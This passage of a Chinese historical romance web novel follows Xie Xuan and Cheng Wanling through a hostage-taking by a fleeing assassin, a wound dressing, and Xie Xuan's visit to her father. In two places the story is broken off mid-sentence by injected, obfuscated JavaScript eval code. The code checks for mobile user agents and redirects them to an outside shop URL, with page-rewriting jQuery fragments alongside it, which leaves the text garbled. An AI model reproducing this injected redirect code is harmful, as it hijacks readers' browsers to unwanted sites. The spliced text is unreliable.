一定是精神长时间紧绷之后深睡对脑子不好,否则他怎么会做这种离奇难堪的梦。 偏梦醒那一刻,还意犹未尽。 谢铉起床解手,再度逼迫自己阖眼。 不说那人快有婚约,就是她此前仗着姿色到处招摇,惹了那么多烂桃花还未算清,又不思进取一昧想着攀高枝,都足以让他厌恶。 他大概是魔怔了。 但他到底瞧了她的脚,哪怕不是故意的,是不是也该负起责任? 如果她真那么喜欢他,只要性子稍微磨磨,用点心思在学业和庶务之上,襄王府也不是不能接受程家的门第。 门外的执玉见到亮光,便问:“二公子,您是饿了吗?” 从昨夜回来到今夜,几乎水米未进。 谢铉没应,走到偏室,打开一口不常用的大箱子。 在最底下的角落里,有一方帕子。 昏黄烛灯映照的芍药花更加红艳,这料子是玉冰丝做的,冬温夏凉,如少女的肌肤一般...... 执玉端来早膳时,便见自家主子在盥洗着什么东西,洗完以后,晾晒在窗栏上。 居然是手帕? 谢铉不喜欢下人多嘴,他没敢问,只一字一句禀告谢濂的病情。 喂了新药之后,谢濂身子回暖,上吐下泻的症状好转,只是还很虚弱,大夫说得细心调养,方可养回根本。 “对了,临安侯府来人了。” “江砚白?” “是江二公子,他来替程姑娘道谢,上回咱们在城外见到的那家粥棚,就是临安侯府所设。” 执玉感觉自己说完之后,主子的食欲瞬间不好了,菜没吃多少,粥也只用了小半碗。 “您是见,还是不见?” 谢铉冷冷看着他。 执玉更加惶恐了,思量自己到底说错了哪句,竟然惹得主子变了脸色,不断往外冒冰渣子。 “谁大早上不提前递帖子就拜见?” “我襄王府是想什么时候来就什么时候来的吗?” “让他等着!” 谢铉火气大,早膳的粥热腾腾就端上来了,一口都喝不下。 路过犬舍,他忽然变慢了脚步:“阿瑶和濂哥儿还小,把犬舍那几只狗移到军营去,免得夜里狂吠惊着了。” 执玉跟在他后头移步到待客的花厅,时不时回头看看。 院里这三只狗是谢铉在塞外收留的,能打猎,能捉鱼,深得众将士喜爱。 他们院儿宽敞僻静,就算叫唤,隔了几道墙,谢瑶和谢濂根本就没受过惊吓。 平日里谢铉心情好,偶尔还会逗弄它们,今日怎么忽然让它们搬走? 执玉没深思,主子说的话照做就是了。 江言之足足等了有半个时辰,才见到传闻中“公务繁忙”的谢铉。 通传之前,明明说谢铉在府内,通传之后,又成了二公子有公务在身,若是请见,需要等候。 这一等,就等了半个时辰。 “二公子可真是个大忙人,言之有礼了。” 比起江砚白将襄王府当成自己家一般来去自如,江言之和谢铉的关系说不上熟稔,只能算点头之交。 谢铉对江言之的了解,多数也是从江砚白口中而来。 他自幼好学敏言,熟读诗书,请了几位名师上门,十五岁时又去了淞华书院拜访山主,以诗词会友,颇有几分求知问学的真性情。 谢铉少时也读书,不过没这么用功,他的精力,大多还是用在了习武和练兵上。 文人墨客,对他来说,只是一群需要保护的庸腐儒生。 太平之时夸夸其谈,发迹之后想着如何欺上瞒下敛财,一旦到了乱世,便只知仓皇逃窜,作些酸溜溜的文章感慨河山倾颓。 “听说你来道谢,我记性差,不记得你我二人有何可谢?” 江言之在谢铉来之时已经起身,指了指身后的布包:“那日在城外,多谢二公子慷慨善心,借披风给表妹遮蔽,表妹病了,托我登门送还。” “病了?”谢铉微微皱起眉。 他记得执玉说的是受惊,可没说病了。 江言之颔首,怕谢铉以为晚苓是托病不来,不是真心实意道谢,还故意加重了几分。 “表妹自小体弱,那日在冷水里泡了片刻,兼又受了瘟疫惊吓,风邪入体,才未能亲自前来。” 谢铉接过披风,没多问,简单几句就以皇帝传召为由,把披风交给执玉收好。 江言之很会看眼色,知道谢铉从来不喜欢应付,况且二人本来也没什么交情,话不投机半句多,没待两刻就告辞了。 过了午时,太阳高照,暑气蒸腾。 晚苓病后整个人越发慵懒,斜斜倚在藤椅上,蜷着双腿翻读话本。 画眉立在一旁扇扇,不时将荷叶碟里的梅子蜜饯递到她嘴边。 她吞下一粒,朝另一旁的瓷盘里吐出果核,想到了什么,将话本轻轻搁在膝头,托腮望着地上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371141|199909||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竹影,叹了口气。 门外传来声响,守门丫鬟踩着满地花瓣疾步而来:“姑娘,表公子来了!” 在桥州,晚苓有七八位表兄,每次通传都得说清姓氏排行才能分辨是谁。 但在京城,只有一个。 “言之哥哥!” 晚苓站起身,赤足钻入合脚的珍珠绣花鞋,从旁边捡起一件对襟外裳就迎上门去。 “苓妹妹这么急做什么?” 江言之手提黄花梨木食盒,见她急切飞奔而来,笑意逐渐漫上眉眼:“芳华轩新出炉的金乳酥,我想着你爱吃,特意绕路买了些。” 晚苓望着酥点,喉间微动,但她更想知道其他:“二公子的披风可还回去了?他有没有说什么?” 江言之细想了一下谢铉的反应。 “他说小事一桩,让你不必放在心上。” “哦......” 晚苓垂眸,睫羽在眼下投出小片阴影,好像一只小虫寻到甜滋滋的花蕊,却无人分享般孤独。 那披风拿回来时,她仔细检查过,除了两处血迹,还有一处刮破了的。 洗干净后,她用针线在破洞的地方缝了一只兔子。 雪色绒毛,眉间一点朱砂红。 信州灯会那日,她依照当地女子的爱好,也在眉心点了一颗红痣,不知他有没有想起什么。 想到此处,她耳尖骤然发烫。 当日谢铉抱她,她还处于惶恐惊愕之中,全然忘了是什么感觉。 只记得他的手掌宽厚结实,力道沉稳,带着不容置疑的力度,轻而易举就把她整个人抬起来了。 好像比起第一回,更加有力。 “那他......” 晚苓还想问谢铉有没有说手帕的事,随即想到江言之还不知晓她正追谢铉,于是收了话头。 “对了,言之哥哥,这是给你的。” 晚苓转身从漆花笸箩中取出一对护袖,素手轻展比了比江言之的手腕,长度和大小正合适。 “这护袖戴着,表哥你写字也不怕墨水弄脏衣服。” 江言之一眼就看到了护袖上绣了两朵粉黄色的花,煞是好看,忍不住问:“这是什么花儿,看着眼生?” “这花叫知颜花,京中没有,它在傍晚开花,晨光一现便凋零,老人都说它是低调谦逊的花,虽不张扬,却自有风骨,从不与其他花儿争阳夺艳。” 江言之生性沉闷,但很用功。 许多夫子都称赞他笃学慎行,说他一定会厚积薄发,这花儿简直衬极了他。 江言之长指抚摸过花萼,又看了眼沉浸在自己绣艺中的晚苓:“知颜,言之,苓妹妹心思细腻,我很喜欢这个礼物。” 用心准备的礼物备受喜欢,对于准备礼物的人来说,当真是最好的回报。 如果谢铉也这么喜欢她的礼物就好了。 日日揣在身上,偶尔用出汗了,用她绣的帕子拭去脸上的汗水,看到上面的花儿时,便会想起自己。 晚苓不自觉笑出了声。 “苓妹妹今日有什么喜事吗?”江言之问道。 晚苓不好意思低下头,思索道:“确实是有一件事,母亲说,当日我病了,她曾去城外三清观许了愿,如今我身子见好,要带我去还愿。” “要是有缘能够得见大天师,我给你求个文昌符,祝你一举高中!” 江言之不大信奉这些,不过既然是好意,那是该谢的,他笑道:“那我可等着妹妹的好消息了。” “那是,等你连中三元,簪花挂红时,可别忘了里面还有我的一份力。” 江言之点头施礼:“君之恩德,言之铭记在心,不如回以琼林宴的点心如何?” 晚苓这辈子还没吃过御厨的手艺,当下喜不自胜:“那说好了,你不许反悔。” 不悔不悔,那是他的荣幸。 三清观素来受京城富贵人家喜爱,晚苓来京以后,不是受惊吓,就是差点染上疫病,程夫人思来想去,觉得还是的求求三清消灾解厄,去去霉运。 程家家底自是丰厚,母女俩出行,婆子丫鬟加在一起足有十七八个。 再加上十余个护卫的小厮和家丁,浩浩荡荡一大群,四辆马车并驾齐驱才勉强够用。 到了地方,晚苓看着上头威风凛凛的三清上尊,跟着程夫人一起跪下,虔诚磕头。 自己有许多愿望,如果按照规矩只许三个,会不会太浪费了。 她咬着唇抉择许久,最终从几十个愿望当中,选了三个。 “一愿父亲母亲身体康健,无灾无痛,二愿天下太平,风调雨顺,三愿......” 第三个她有私心,双手合十,默默在心里道:愿谢铉早日喜欢上我。 13. 她是你的小情人 晚苓身旁跪着的,是一个穿着月白色衣裳的女子。 年纪和她差不多,许愿时闭着眼睛,嘴巴密密麻麻默念,好像永远也说不完。 从她动嘴的速度判断愿望一定很长。 “一次可以许很多愿望吗?”她不禁好奇。 自小程夫人就告诉她,愿望只能说三个,说多了,仙人就会觉得自己贪得无厌,一个也不实现。 女子偏头,眼神明媚灿烂:“没有啊,我只说了三个。” 晚苓眨眨眼,表示很怀疑。 女子继续道:“我只告诉你,你可不能告诉旁人,上山一次不容易,我便想了个法子,只要我许愿时嘴巴不间断,把每一个愿望分成好几个,说长点,这不就赚了?反正也没说一个愿望只能说一句话。” 原来还可以这样! 晚苓捶足顿胸,自己就是太老实了。 可愿望都许完了,下次来也不知猴年马月。 晚苓解签时看到观主乐呵呵过来,特意问他:“观主,信女所求,无一不是诚心诚意,当真可以实现吗?” 观主是个清癯矍铄、自带仙意的六旬老人,胡须灰白,头发稀疏,以一支竹簪固定。 说话时,头上的簪子摇摇欲坠,好像不知什么时候就会突然掉下来。 他眯着眼睛,一副超然物外的淡泊:“施主稍安勿躁,这许愿如播种,三清赐雨露,而耕耘在己,若想愿望达成,非勤加勉励不可。” “......” 这话说了和没说有什么区别?晚苓很想对他翻个白眼 她若是能努力,还许愿作甚。 只不过修养在身,忍住了。 程夫人笑笑,同样许完愿的她往后头招手示意,两个婆子抬着银子上前。 打开之后,她拜了拜道:“上回信女许愿得偿,这是还愿的供奉之数,三清观不比玉华寺,后头年久失修的房屋众多,只当做程家一点心意。” 观主立刻换了一副诚惶诚恐的态度,眼角的纹路都被笑容撑开了:“多谢施主恩济,施主善行滋养,辅以虔诚供奉,天道酬勤,必有圆满之日。” 观主,三清知道你这么善变吗? 晚苓无奈撇了撇嘴,不发一言。 程夫人并没有打道回府,打算在城外庄子上小住几日,顺道让晚苓好好养养身子。 庄子不大不小,环境清幽,绿植颇多。 据说先朝有位王爷在此清修,王爷锦衣玉食,清修也不肯亏待了自己,院落布局错落有致,栽种了许多奇花异草。 只不过后代子孙皆不成器,家境没落,无奈转让填补亏空,庄子转了几手落到了程夫人手里,由于这几年疏于打理,大多数花草都败落了,只留了些好养活的。 夜一入黑,程夫人早早歇息,晚苓白日赶路没能午睡,洗漱完同样躺在床上,没过一会儿就入了梦乡。 醒来时,天色未明,却怎么也睡不着了。 从天边暗沉的颜色估摸,这会儿应该刚入五更。 丫鬟们打扫房舍,收拾桌椅,累了一整日,这会儿守夜的小翠都呼呼大睡,雷打不动。 晚苓用一支斜玉簪挽了头发,轻手轻脚穿好鞋袜,披上一件开襟的玉色外衫蹑手蹑脚出了房门。 陌生的地界,仅能凭几分半灰不白的月色辨认南北东西,她停停走走,欣赏白天没有心情欣赏的景色。 那位王爷喜爱海棠,修建了垂丝亭和海棠台聊以观赏,就连院内也栽种了十几株垂丝海棠。 花瓣半红半紫垂落而下,站在娉婷花树旁,就好像它咧开笑容低头献媚,温言温语,从花心中倾听心事。 晚苓将鼻尖轻轻靠在花瓣上,轻嗅花香:“海棠啊海棠,你是和我一样醒得太早无事可做,还是一夜无眠?” “又或者,你也在想着某个不可说的人吗?” 海棠花香味极淡,就算近在咫尺,也只能嗅到一丝清幽,若有若无飘在鼻尖,让人难以捉摸。 她连同枝条折下一朵,抚摸着娇嫩清妍的花瓣,随后把它别在耳上。 可惜了,这会儿没有镜子。 也没有心心念念的人。 远处传来沉闷的钟声,再看天色,遥远的天际已经慢慢出现了一抹淡黄。 半灰半白的路径变得清晰,一路的落花铺成地毯,细碎的枝叶被风沙沙吹起。 转身时,一个黑影一闪而过,晚苓还没反应过来,颈上已经多了一丝冰冷,吓得她一猛地哆嗦。 紧接着,肩膀被迫一扭,整个人几乎是跪在地上,然后又被人提拉领口,蛮横地抵在树干上,大气都不敢喘两口。 “你再过来我就杀了她!” 来人音色暗沉沙哑,要不是天边渐明,一身黑色夜行衣与暗夜融为一体,根本难以发现。 晚苓心里慌乱不已,双手被反缚在后,抖着肩膀想要往后看一眼,脖子上的冰凉瞬间深了两分。 “再动我便杀了你!”他道。 晚苓努力咽下口水:“我、我不动,你、你是什么人,为什么要挟持我......” “少废话!多说一句让你变成无头鬼信不信?别过来!” 最后一句明显是对抓捕他的人说的。 “我信、我信......”晚苓手抓着衣角,战战兢兢望向前面,投去一副乞怜的委屈。 对面那人在远处停下脚步,未再向前。 他穿着一身灰沉沉的锦缎交领短袍,右肩上挂着鎏金色的护甲片,虎目圆睁、利齿外露,手中长剑锋芒如月。 “放了她,留你全尸!”他冷漠道。 晚苓双眸蓦然明亮。 是谢铉! 难道这是梦吗? 日有所思夜有所梦,谢铉竟然闯入她的梦里。 就是这局势有些尴尬,她这衣衫不整、长发疏散、未着任何修饰的素容,不会失礼了吧。 如果是在梦里,这个碍事的黑衣人倒是可以消失了,他还抓得她手那么痛,肩膀发酸好似被鹰钩住,提也提不起来。 最好天边闪来一道雷,立刻把他劈焦了。 晚苓不着边际想着。 身后的黑衣人并未因她的臆想而消失,手上力道更重了,长剑转了方向,横在她脖子前。 很快,丝丝血迹便从细嫩的皮内渗出,汇成一颗小血珠。 “痛......” 晚苓既惶恐又悲哀,双腿止不住地打颤。 “还是个娇滴滴的小娘子,可惜了,命不好!” “......” 命在别人手里,晚苓动也不敢动,生怕身后的剑一歪,自己大好年华英年早逝。 可真是天妒英才。 “你若是敢伤我大梁子民一丝一毫,我便让你有来无回,碎尸八段!” 谢铉没有和她说话,晚苓也默契地假装不认识他,当一个无辜的陌生人,只是默默用眼神向他求救。 如果黑衣人知道他们认识,相互牵制,必然不妙。 “谢铉,今日我被你咬上,就没想过回去,可惜了,你们那太子连着两次都躲过了,真让我遗憾。” “要是谢镕死了,你就是下任储君,既如此,何必多此一举挡我杀路呢?” 谢铉冷冷一笑,挥剑对准了他:“你在我大梁境内杀人嫁祸,还我问为何挡你杀路,不觉得可笑吗?” “更何况,你在皇宫留下襄王府的箭簇,若不把你缉拿归案,我岂不是要担上刺杀太子的头号嫌疑。” 黑衣人倒没想到,谢铉这一路紧追不舍,连喘口气的功夫都没,竟还能知晓他故意留下了襄王府的箭簇。 他确实难缠且聪明,如果这样的人当了梁国皇帝,一定不是他们北漠的福音。 怪不得圣上要让他假意刺杀谢镕,趁机嫁祸襄王府,让二者相互残杀。 “既然你已经看破,那我也不必废话了,这小娘子倒是漂亮,连声音都如此酥软,索性就给我陪葬吧!” “等等!” “别杀我!” 一男一女两道声音同时响起。 晚苓看了一眼谢铉,声色颤抖对黑衣人道:“壮士,救人一命胜造七级浮屠,既然你都要死了,不如留我一命,我日后多多给你烧香,让你下辈子投胎投个好人家,再也不用干这种杀人越货的勾当了,好不好?” 黑衣人嗤嗤一笑,眼神在他们之间来回飘忽。 “不好!” 他都要死了,哪管得了下辈子的事。 脖子上的剑愈发透出渗人冷意。 晚苓连咽口水都要小心再小心,生怕喉咙滚动自己就割破了。 “壮士,你要考虑考虑我们现在的情况,你想活,我也想活,而我的命在你手里,所以我俩才是一伙的。” “不如这样,你放开我,等他想要追上你的时候,我去抱住他大腿,让他追不了。” 黑衣人横眉斜挑,没想到自己随手一拎,拎出个这么天真的女子。 若是平时,他倒是很有兴趣陪她聊聊天。 可惜了,这么个俊俏人,谁叫她偏遇上他呢? 就当她运气不好吧。 从他被谢铉发现的那一刻起,就自知此行生机渺茫。 谢铉武功精绝,剑法凌厉,轻功更是迅疾,自己已经撒了障眼粉,又让手下四下窜逃分散注意力,他却能在短时间辨别自己逃走的方向,一路猛追不舍。 不过这回...... “你们认识?谢铉,她是你的小情人?”黑衣人眉目一转,忽然发笑。 晚苓被剑身的反光闪及,下意识闭上了眼睛。 大哥,你这哪儿看出来的? 虽说她一直很想。 黑衣人没有 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“我的手......” “谢铉,我的手......”她皱紧了眉头,连大声说话都做不到了。 手腕鲜血直涌,血淋淋滴落一地,衣裳很快就被染得通红。 晚苓的脸色从红润化为苍白,额头大汗淋漓,整个人像泡在水里垂死挣扎。 谢铉心头一触,顾不得男女大防,割下自己的衣服帮她包扎手腕。 每收紧一分,痛彻心扉的嘶喊就多一声。 “对不起程姑娘,连累你了。”他按住断口上方的血管,攒眉道,“不过幸好,只是筋脉断了,日后习不得武而已。” 而已? 晚苓痛到不想去纠结他的话,大颗泪珠滚滚而落:“他、他为什么要断我的手腕?” “他想逃,知道逃不过,便选择伤了你,让我不得不留下为你处理伤口。”谢铉简单解释。 这刺客倒是聪明,周旋太久对他没有好处,便选择这种快准狠的方法。 若他毫不留情杀了晚苓,谢铉只会更加想要缉拿他,让人质半生不死,却急需施救,他才有时间逃跑。 刚才那一声痛呼惊动了其他人,几个下人点灯寻来。 画眉在最前面,跪在地上惊惧万分:“姑娘!姑娘你怎么了?怎么这么多血?” 谢铉绑好之后,一下将人抱起:“她的房间在哪?” 画眉下意识往西边指了指,谢铉嗯了一声,又沉声道:“速去请一个擅长外伤的大夫,若是没有,就吩咐人去襄王府请,这是我的令牌。” 画眉愣愣接过:“好!” 循着小路,谢铉把人抱回屋内。 程夫人一听女儿出事便着急忙慌跑了过来。 “你、你是何人?” 谢铉看她的年纪和装束,大致也猜到了她的身份,更何况,晚苓在见到程夫人那一刻,眼泪再度失控:“母亲,母亲我好痛!” 程夫人疾奔到床边,看着女儿梨花带雨的小脸心疼不已:“我的儿,这是怎么回事?好端端的怎么伤了手?” 之前晚苓再虚弱,也没流过这么多血,程夫人捧着她的手,自己也忍不住掉眼泪。 即使包扎过,手腕的伤口仍然血迹斑驳,晚苓每号啕一声,便渗出些许红色。 谢铉眉心一紧。 好在程家的行李中有不少药材,小翠不懂医术药用,拖着一大口箱子过来让他看。 谢铉从中翻了两种有止血功效的药草。 “程夫人,我是襄王府的谢铉,令爱的伤,襄王府一定会负责到底。” 听到襄王府的名号,程夫人想发火的心只得暂时收了去。 况且,现在最要紧的是女儿的伤。 “苓儿她的手......” “不重,但是得好好养上一个月。” 谢铉征战沙场,比这更重的伤都见过不知凡几,就连他自己,背后和胸前都有几道接近心脏的刀伤,也曾命悬一线。 那黑衣人也知道留着晚苓可以威胁谢铉,日后成为他的软肋,自然没下死手。 谢铉让人打了水来,准备给晚苓换药。 只是他忘了,他眼里的小伤,对于娇生惯养、从未接触过刀剑的弱女子来说,比天塌了还难受。 刚刚撕下一片绑带,她便不肯了:“我痛!” “谢铉,我不换药了,我真的好痛,你这样我会死的。” “让我死了算了!” 谢铉沉了沉心,短暂停手之后,吩咐守在门口的下人端一壶酒来。 “这......这是什么?” “烈酒可以麻痹痛觉,程姑娘,若你实在受不了,可以喝一些。” 14. 一点点,都不可 晚苓不善饮酒,更没在外人面前饮过酒。 庄子里的藏酒是上任主人留下的,打酒的小厮不懂,把酒窖里最显眼、坛子最漂亮的一瓶拿了过来。 谢铉凑近闻了一下。 酒气甚浓,少说也有一二十年,烈度就算比不上火烧胸膛穿肠烬,也差不了多少。 算了,喝多了就喝多了,酒鬼他见过不少,多数还是安安静静睡觉的,发酒疯的看了他也不敢放肆。 眼下只求她能别叫唤,好好配合。 “程夫人,劳您备点醒酒汤。” 换了旁人,程夫人是断断不肯让女儿同一个陌生男子待在一起的。 但谢铉...... 程夫人瞧了眼女儿的脸色,还有那期盼她不要打扰的眼神,没说什么话就出去了。 她两只手都伤了,谢铉只得倒在杯中,亲自喂到唇边。 “真的要喝吗?” 谢铉点头,语气轻柔:“一杯即可,不会很难受的。” 对于她这种滴酒不沾的女子,小小一杯估计就能醉上一晚。 晚苓轻嗅了嗅,光是闻着就已经很呛鼻,喝下去,该不会命绝当场吧? 醉死还是痛死,选个听上去好些的。 晚苓深吸一口气,就着谢铉的手舔了舔杯口,闭着眼睛,英勇就义般吸吮完后,辣着舌头又哭了一回。 谢铉放下酒杯,语气也不由得变温柔了:“那我开始了,你忍着点,别再大声叫唤。” 晚苓不是很敢亲眼看着,闭眸咬牙:“你、你开始吧,我、我忍着就是了。” 谢铉勾了勾嘴角,反倒放慢了动作:“若是真疼得紧,也可以喊几句,咬伤自己就不划算了。” 他给不少下属上过药,但那些都是军中好手,毅力非常人可比。 别说是伤了手腕,就是胸口直中一刀,哗啦啦冒血,拔出来时也能强忍着面不改色,不叫别人看轻了自己。 对于她,他觉得可以适当放宽要求。 晚苓眨了眨眼睛,晃了两下脑袋让自己清醒清醒。 咽下大半杯烧酒,脑中已是混沌不堪,她艰难吐出几个字:“我会忍着的,轻点就好......” 话虽如此,双足却是十趾蜷缩,脊背僵硬地抵着床上的柱子,脸上没有一丝血色,一副准备英勇就义的模样。 谢铉动了动眼眸,总觉得两人的对话似有怪味,却一时间没想起怪在哪儿。 他耐性十足,慢慢撕开原先包扎的碎布。 “呃、慢慢、慢慢些——” “好痛!” 谢铉专心致志,尽力轻手撕开,每动一寸,便能听到对方难以遏制的、喉间溢出压抑的呜咽,像只被利爪贯穿的幼兽在哮鸣挣扎。 晚苓身体颤抖着,两腿发颤,额角的发丝被冷汗黏在脸上,泪水顺着眼角滑落,浸湿了鬓边凌乱的碎发。 他抬头看了一眼那满是泪痕的小脸,眉心紧蹙,难得安慰一句:“就快了,你忍一忍!很快就好了!” 战场上重伤而死的人很多,脖颈处插着断箭,鲜血冲天,肠子被长矛穿刺淌得满地,又或是破碎残败的断骸......他见过太多。 如今只是一双被划破的手,就扰得他连上药都狠不下心。 谢铉只当因为受伤的是个女子。 毕竟他没有为女子上过药,不知道女子的忍痛能力这么差。 “我真的好痛,我的手是不是要废了?不然怎么会这么痛?是不是以后我就成了残废,再也提不起任何东西了?” 晚苓越想越难受。 谢铉扫了一眼伤口,淡然摇头:“不会,我和你保证。” 他信誓旦旦,得到的却是质疑:“你又不是大夫,你怎么保证?再说了,这是我的手,就算你保证失效了,你也没什么损失,肯定是为了安慰我才说的。” “我——” 谢铉发现,这人在极度的痛苦之下,逻辑思维倒是一点没差。 甚至比清醒的时候还好,知道命是自己的,手是自己的,别人不可能感同身受。 若是平日里她也能这么清醒,又怎么会惹出那么多烂桃花,那么多剪不断的风花雪月,该她受一受痛,长长记性。 如是想着,手上的动作还是轻了又轻。 上完药后,打了个精细的活结。 “好了,等大夫来了之后开些止痛散,一日换一次药,三日之后便会开始结痂,若是想快些好,我也可以让人帮你缝针。” “缝、缝针?”程晚苓差点惊出双下巴。 换个药就已经这么痛不欲生,还要缝针? 她宁愿成为一个废人,衣来伸手饭来张口,什么事也不做了。 “我不缝针,打死也不缝!” 谢铉猜到她会是这般反应,嘴角轻微上扬,很快又严肃起来:“既然你选择让它慢慢好,有些东西便得忌口了。” 他刻意强调了一句:“尤其是甜食,你们桥州的厨子,放糖就跟喂猪似的。” 晚苓听罢,瘪起嘴巴垮成一张苦瓜脸。 她最喜欢的就是甜食了,一月不吃,比要了她命还难受。 “一点点可以吗?” 谢铉十分无情,薄唇微启:“一点点,都不可。” 晚苓喃喃低语:“可我还约了言之表哥,他家厨子研究的新点心,我都还没尝过,咦?谢铉,你怎么变歪了,这香帐也歪了......” 谢铉站起身,把带血的布带扔到地上,扶她慢慢躺下。 晚苓眼神变得涣散,摇摇脑袋:“怎么有两个谢铉在我面前,我要看看你的......” 这是痛劲儿过了之后,酒劲儿彻底上头,开始飘飘欲仙,忘乎所以。 谢铉浅笑着,把她滑落的头发拨回背后,又掖好了被子,让她斜斜半躺在床上。 也不知怎么回事,她始终不肯正经躺下去,一会儿哭一会儿恼,一会儿认真看着他的脸说胡话,眼圈和双颊微红,好似一朵晕染开的花瓣。 那声音太迷糊,谢铉根本听不懂她在说什么,刚想俯身聆听,走廊响起了脚步声。 程夫人的醒酒汤熬好了。 谢铉有种被打扰的不悦。 从她迷离散乱却极漂亮的眼睛,投影出自己的模样,眉眼微微弯起,歪着脑袋瓜痴迷看着他,嘴巴张张合合。 他试着猜测了几句,都和她的唇形对不上,反而逐渐被那双饱满嫣红的的唇瓣吸引了注意力,舍不得挪开。 再近两寸,大概就能咬住……擭取唇边的酒渍和眼泪。 程夫人进门时,看到的正是谢铉帮晚苓重新盖好被子的场景。 盖好后,他贴心地把人扶正,没让晚苓七晕八倒歪在床上。 “包扎好了吗?”程夫人问。 “嗯,这些天注意别碰水,也别磕到碰到,饮食上别吃重口的便好。” 谢铉起身,坐在床边的人换成了程夫人。 晚苓有些不解,怎么谢铉就要走了。 她抬头用无辜茫然的眼神哀求他,好似在追问:我又没有犯错,你为什么要走? 这时候,似乎让她做什么她都愿意。 谢铉脚步如灌了铅般沉重,本想直接走人的他莫名其妙站在一旁,看着程夫人喂解酒汤。 虽然还在懵懂之中,但对程夫人也极为顺从,张开嘴巴一口一口喝着,眼神逐渐下垂,放到程夫人手上,傻傻地裂开嘴笑。 程夫人用帕子帮她撷去嘴角的汤水,抚摸她的脸颊:“好好的怎么又不肯吞?苓儿不听话可不行,喝完它母亲给你两颗糖拌酸梅好不好?” 有了这一句,她朝程夫人郑重点头,乖乖咽下苦药。 谢铉敛下眉目,不知在想什么。 大夫很快来了,他嘱咐几句,便同程夫人告辞。 天色大亮,执玉顺着踪迹找到程家庄子。 “主子,昨夜逃匿的刺客,除了领头那位,其余均已伏法。” “死了?” “是,被伏之后便咬了口中的毒药自尽,属下无能,没能留住活口。” 领头的黑衣人身手灵活,就算执玉捉到活口,也不见得能撬出什么来。 谢铉一夜未眠,从皇宫追出城,耗费体力,如今眼底青黑,打马回襄王府睡觉。 他经常彻夜不归,府内见怪不怪,更不会派人刻意去寻。 襄王妃第二日午时才从内监口中听说太子遇刺以及谢铉相救一事,心中格外庆幸。 “你说二公子去了我的私库?” “是呢,说是想找什么手镯,该不会是要送什么人吧?”绵儿掩嘴笑道。 襄王妃有一拍没一拍翻看账簿,心里诧异不解。 知子莫若母,谢铉从不对身外之物上心,库房里再多的金银,再价值连城的珠宝,他正眼都不带瞧的。 最喜爱、最在乎的,就是他屋里那几把吹毛立断的玄铁剑和贯日枪,任何人都不给碰。 合上账簿,襄王妃带人去了库房。 踏入的那一瞬间,好奇心瞬间被惊颤取代:“明昭!别动!” 眼看着谢铉要拿她珍藏两只羊脂白玉相互碰撞,检查是否结实,襄王妃的心都提到嗓子眼了,就差没给儿子跪下:“谢铉!你给我放下!” 谢铉抬抬眼皮,看了眼亲娘,再看看自己手里的白玉镯子。 “母亲,您的首饰都在这儿了么?” “你要做什么?你别乱来啊!” 乖乖,她这儿子是不是撞邪了,到底要对她这一箱子宝贝做什么? “你和母亲老实交代,你是不是去赌坊输钱了?” 襄王妃一边小心翼翼从谢铉手中取过自己的命根子,一边警惕地看着他:“输多少也不能拿你亲娘的首饰去还啊,这可是极品的羊脂白玉,宫里都没几对。” 谢铉继续打开其他的箱子,挑挑拣拣。 襄王妃出身名门,自小被选入宫中作为公主伴读,年纪稍长蒙先皇赐婚,嫁给襄王。 她眼光高,家里又有银钱挥霍,收藏的首饰,哪一件不是求也求不来的宝物? 就说刚刚那一对羊脂白玉手镯,两只镯子大小、色泽、纹理如出一辙,镯身通体不见一丝绺裂。 这双手镯玉质莹润,触手生温,见了它的没一个不想藏之爱之。 “母亲,这些镯子您挑一对最喜欢的留下,其他全部送 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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程侍郎只当他在候旨求见,自己和皇帝议事议了那么久,心里愧疚,于是颔首作揖,示意自己奏事完毕,让他进殿面圣。 岂料那人却主动向他走来,唇角微扬,带着三分含蓄笑意。 程侍郎正想开口问询,谢铉却先一步拱手道:“久闻程大人贤名,今日谢铉冒昧相候,实是有事请教。” “……” 惊讶过后,程侍郎客气回礼:“好说好说,臣虽粗鄙短浅,但二公子有所问,也必当知无不言言无不尽。” 谢铉身为襄王之子,总管边境十二重镇,这些年军户制度弊病渐显,滋生了许多问题。 一则是战事纷扰,不少军户男丁尽殁,不少人萌生退意,携家带口向外私逃。 二是老生常谈的问题,军官仗势欺人,侵占屯田之事屡禁不止,普通军户无路伸冤,苦不堪言。 程侍郎任职户部,主管钱粮户籍,向他请教整治军户积弊的法子,最恰当不过。 之前因为边境遥远,朝廷律令常有不达之处,户部便把军户这类杂务悉数交给了边境的守城军官,不再统一管理,既然谢铉有意请教,程侍郎当然要为其解忧。 两人并肩而行,边走边聊,不知不觉便到了宫门口。 看天色不早,程侍郎正想开口约他明日去户部详谈,谢铉却道:“听程大人一言,有如醍醐灌顶、茅塞顿开,不知大人今日是否还有其他要事,若是可以,我还想多问几句。” “二公子客气了,我正打算回府,若不介意寒舍简陋,倒是可以一叙。” 程侍郎主动相邀,请谢铉坐程家的马车一同前往。 谢铉人高马大,身手灵活,在车夫搬来马凳前,一只脚便直接上了去。 程侍郎在后面默默看着,忽然觉得眼前的凳子有些刺眼。 “二公子真是好身手,还是年轻好啊。”他道。 往日观谢铉这位皇侄,都是逢十朝会之时。 两人一个文臣一个武将,离得远不说,谢铉上朝时基本不怎么发言,都是别人主动攻讦,他给脸才回一两句。 更多的时候,都是仗着皇帝宠信,对御史谏臣的弹劾无视置之。 久而久之就有传言谢铉倨傲无礼、目无君上,在边境堂而皇之称王,手下将领也都是军中一霸,在地方横行无度。 今日长谈,让程侍郎大为改观。 谢铉谈起兵事如数家珍,从屯田之策到士兵的赏罚之规,条分缕析,鞭辟入里,言语间既有沙场点兵的杀伐决断,又不乏体恤下情的仁厚。 